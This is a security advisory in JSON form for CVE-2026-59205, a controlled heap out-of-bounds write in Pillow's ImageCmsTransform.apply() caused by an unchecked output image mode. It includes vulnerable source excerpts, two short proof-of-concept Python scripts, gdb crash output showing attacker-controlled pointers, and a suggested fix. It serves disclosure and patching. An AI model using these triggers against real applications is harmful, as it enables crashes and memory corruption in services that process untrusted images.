{"schema_version":"1.7.5","id":"GHSA-9hw9-ch79-4vh6","published":"2026-07-20T23:19:00Z","modified":"2026-07-22T02:59:40.628222965Z","aliases":["BIT-pillow-2026-59205","CVE-2026-59205","PYSEC-2026-3453"],"related":["CGA-3764-q237-9fc3"],"summary":"Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch","details":"### Summary\n\nPillow's public `ImageCms.ImageCmsTransform.apply(im, imOut)` API can trigger\ncontrolled native heap corruption when the caller supplies an output image whose\nmode does not match the transform's declared output mode.\n\nFor example, a transform built as `RGBA -> RGBA` can be applied to an `L` output\nimage. Pillow checks dimensions only, then calls LittleCMS with the output row\npointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel `L` image row.\n\n### Details\n\n`src/PIL/ImageCms.py:ImageCmsTransform.apply()` accepts an optional caller\nsupplied `imOut`:\n\n```python\ndef apply(self, im, imOut=None):\n    if imOut is None:\n        imOut = Image.new(self.output_mode, im.size, None)\n    self.transform.apply(im.getim(), imOut.getim())\n    imOut.info[\"icc_profile\"] = self.output_profile.tobytes()\n    return imOut\n```\n\nIf `imOut` is provided, Pillow does not check:\n\n```text\nim.mode == self.input_mode\nimOut.mode == self.output_mode\n```\n\nThe C wrapper in `src/_imagingcms.c` unwraps both image cores and only checks\nthat the output dimensions are at least as large as the input dimensions:\n\n```c\nstatic int\npyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {\n    if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {\n        return -1;\n    }\n\n    for (i = 0; i < im->ysize; i++) {\n        cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);\n    }\n\n    pyCMScopyAux(hTransform, imOut, im);\n    return 0;\n}\n```\n\n`findLCMStype()` maps `RGB`, `RGBA`, and `RGBX` transform modes to LittleCMS\n`TYPE_RGBA_8`, which writes 4 bytes per pixel:\n\n```c\ncase IMAGING_MODE_RGB:\ncase IMAGING_MODE_RGBA:\ncase IMAGING_MODE_RGBX:\n    return TYPE_RGBA_8;\n```\n\nSo with a transform declared as `RGBA -> RGBA`, LittleCMS writes `4 * width`\nbytes to each output row. If the supplied output image is mode `L`, Pillow only\nallocated `1 * width` bytes for that row.\n\nFor width 4096:\n\n```text\ndestination row allocation: 4096 bytes\nLittleCMS write size:       16384 bytes\noverflow:                  ~12288 bytes past the row\n```\n\nThe bug does not require a large image. Width 8 was enough to corrupt heap\nmetadata. At width 8, `apply()` returned to Python and printed `after`; glibc\ndetected the corrupted heap later during cleanup.\n\n### PoC\n\nTiny heap corruption trigger:\n\n```python\nfrom PIL import Image, ImageCms\n\nsrgb = ImageCms.createProfile(\"sRGB\")\ntransform = ImageCms.buildTransform(srgb, srgb, \"RGBA\", \"RGBA\")\n\nim = Image.new(\"RGBA\", (8, 1), (0x41, 0x42, 0x43, 0x44))\nout = Image.new(\"L\", (8, 1), 0)\n\nprint(\"before\", flush=True)\ntransform.apply(im, out)\nprint(\"after\")\n```\n\nObserved locally on Pillow `12.3.0.dev0`:\n\n```text\nbefore\nafter\nfree(): invalid next size (normal)\nAborted (core dumped)\n```\n\nControlled overwrite evidence PoC:\n\n```python\nfrom PIL import Image, ImageCms\n\nsrgb = ImageCms.createProfile(\"sRGB\")\ntransform = ImageCms.buildTransform(srgb, srgb, \"RGBA\", \"RGBA\")\n\nim = Image.new(\"RGBA\", (4096, 1), (0x41, 0x42, 0x43, 0x44))\nout = Image.new(\"L\", (4096, 1), 0)\n\ntransform.apply(im, out)\n```\n\nRun under gdb:\n\n```bash\ngdb -q --batch -ex run -ex bt --args \\\n  python3 b022_controlled.py\n```\n\nObserved on Pillow `12.3.0.dev0`:\n\n```text\nProgram received signal SIGSEGV, Segmentation fault.\n___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)\n#1 _cmsLockPrimitive (m=0x4443424144434241)\n#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)\n#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)\n#4 cmsSaveProfileToIOhandler(...)\n#5 cmsSaveProfileToMem(...)\n#6 cms_profile_tobytes (...) at src/_imagingcms.c:152\n```\n\n`0x4443424144434241` is the attacker-controlled source pixel pattern\n`b\"ABCDABCD\"` interpreted as a little-endian pointer-sized value.\n\nUsing source pixels `(1, 2, 3, 4)` similarly produced a faulting pointer of\n`0x403020104030201`, matching the repeated pixel bytes.\n\n### Impact\n\nThis is a heap out-of-bounds write in Pillow's native ImageCms extension,\nreachable through public API.\n\nApplications are impacted if untrusted users can control ImageCms transform\nparameters and/or provide the output image object passed to\n`ImageCmsTransform.apply()`. The source image pixels influence the bytes written\nout of bounds.\n\n## Suggested fix\n\nValidate modes before calling into the native transform:\n\n```python\ndef apply(self, im, imOut=None):\n    if im.mode != self.input_mode:\n        raise ValueError(\"input mode mismatch\")\n    if imOut is None:\n        imOut = Image.new(self.output_mode, im.size, None)\n    elif imOut.mode != self.output_mode:\n        raise ValueError(\"output mode mismatch\")\n    self.transform.apply(im.getim(), imOut.getim())\n    imOut.info[\"icc_profile\"] = self.output_profile.tobytes()\n    return imOut\n```\n\nThe C extension should also defensively reject mismatched image modes before\ncalling `cmsDoTransform()`.","affected":[{"package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-9hw9-ch79-4vh6/GHSA-9hw9-ch79-4vh6.json"}}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59205"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9715"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0"}],"database_specific":{"cwe_ids":["CWE-787"],"github_reviewed":true,"github_reviewed_at":"2026-07-20T23:19:00Z","nvd_published_at":"2026-07-14T16:17:02Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}